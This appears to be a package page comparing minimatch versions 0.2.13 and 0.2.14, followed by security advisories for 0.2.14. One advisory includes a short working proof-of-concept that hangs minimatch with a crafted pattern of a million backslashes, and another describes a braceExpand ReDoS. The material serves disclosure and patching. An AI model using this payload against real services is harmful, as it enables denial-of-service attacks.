Minimatch is a lightweight JavaScript library designed for glob matching, offering a simple and efficient way to work with file path patterns. Versions 0.2.13 and 0.2.14 are quite similar, both utilizing the 'sigmund' and 'lru-cache' dependencies and sharing the same development dependency 'tap' for testing. Both versions share the same MIT license and the same author.
The primary difference between these two versions lies in their release dates. Version 0.2.14 was published on December 16, 2013, at 22:01:16.541Z, while version 0.2.13 was released earlier the same day at 06:02:07.117Z. This indicates that version 0.2.14 likely contains bug fixes or minor improvements over its predecessor. For developers using Minimatch, upgrading from 0.2.13 to 0.2.14 is recommended to ensure they have the most up-to-date and stable version. Glob matching is a powerful feature, especially when dealing with file system operations, build tools, or any scenario where pattern-based file selection is needed. The library's small size and focused functionality make it an ideal choice for projects where a full-fledged regular expression engine might be overkill.
All the vulnerabilities related to the version 0.2.14 of the package
Regular Expression Denial of Service in minimatch
Affected versions of minimatch are vulnerable to regular expression denial of service attacks when user input is passed into the pattern argument of minimatch(path, pattern).
var minimatch = require(“minimatch”);
// utility function for generating long strings
var genstr = function (len, chr) {
var result = “”;
for (i=0; i<=len; i++) {
result = result + chr;
}
return result;
}
var exploit = “[!” + genstr(1000000, “\\”) + “A”;
// minimatch exploit.
console.log(“starting minimatch”);
minimatch(“foo”, exploit);
console.log(“finishing minimatch”);
Update to version 3.0.2 or later.
minimatch ReDoS vulnerability
A vulnerability was found in the minimatch package. This flaw allows a Regular Expression Denial of Service (ReDoS) when calling the braceExpand function with specific arguments, resulting in a Denial of Service.